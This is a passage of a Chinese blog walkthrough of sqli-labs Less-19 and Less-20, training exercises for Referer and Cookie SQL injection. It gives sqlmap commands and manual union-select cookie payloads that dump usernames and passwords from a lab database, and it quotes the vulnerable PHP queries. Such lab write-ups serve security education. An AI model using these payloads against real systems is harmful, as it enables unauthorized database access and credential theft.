3.查询数据库

python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20  --dbs

4.查看当前数据库

python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

扩展:这里除了保存为txt,用*标注referer,还可以用--referer=REFERER指定 HTTP Referer

代码分析

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

POST - Cookie注入 - Uagen字段 - 基于错误

登录后页面:

image-20211116173222817

看到cookie:uname=admin 是cookie注入
抓有cookie的包

方法一:手工注入-联合注入

加单引号

Cookie: uname=admin'

爆出语法错误,看得出来就是单引号型。

image-20211116173445793

暴字段数

Cookie: uname=admin' order by 3 --+      //正常

Cookie: uname=admin' order by 4 --+       //报错       判断字段数为3

image-20211116173523512

image-20211116173512398

爆库payload
注:uname值为不正确

Cookie: uname=-admin' union select 1,2,database() --+

image-20211116173606120

暴表

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20211116173630390

暴字段

Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

image-20211116173653738

暴值

Cookie: uname=-admin' union select 1,2,group_concat(username,0x3a,password) from users --+

image-20211116173726784

方法二:sqlmap工具自动注入

随便输入提交,可看到cookie

YOUR COOKIE : uname = admin and expires: Wed 21 Oct 2020 - 07:20:31

用cookie注入的sqlmap语句

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin" --leve=5 --risk=3 --dbs -- threads 10 

--cookie
web应用基于cookie的身份验证,对于post请求,可以指定cookie

2.利用sqlmap查询注入点

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin"  --batch --leve=5 --risk=3 --threads=20 

3.查询数据库

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin" --batch --leve=5 --risk=3 --threads=20  --dbs

4.查看当前数据库

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin"  --batch --leve=5 --risk=3 --threads=20 --dbms=mysql --current-db

5.查看表

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin"  --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin"  --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py "http://192.168.74.143:86/Less-20/index.php" --cookie="uname=admin"  --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
posted @ 2022-04-10 00:14  hirak0  阅读(104)  评论(0编辑  收藏  举报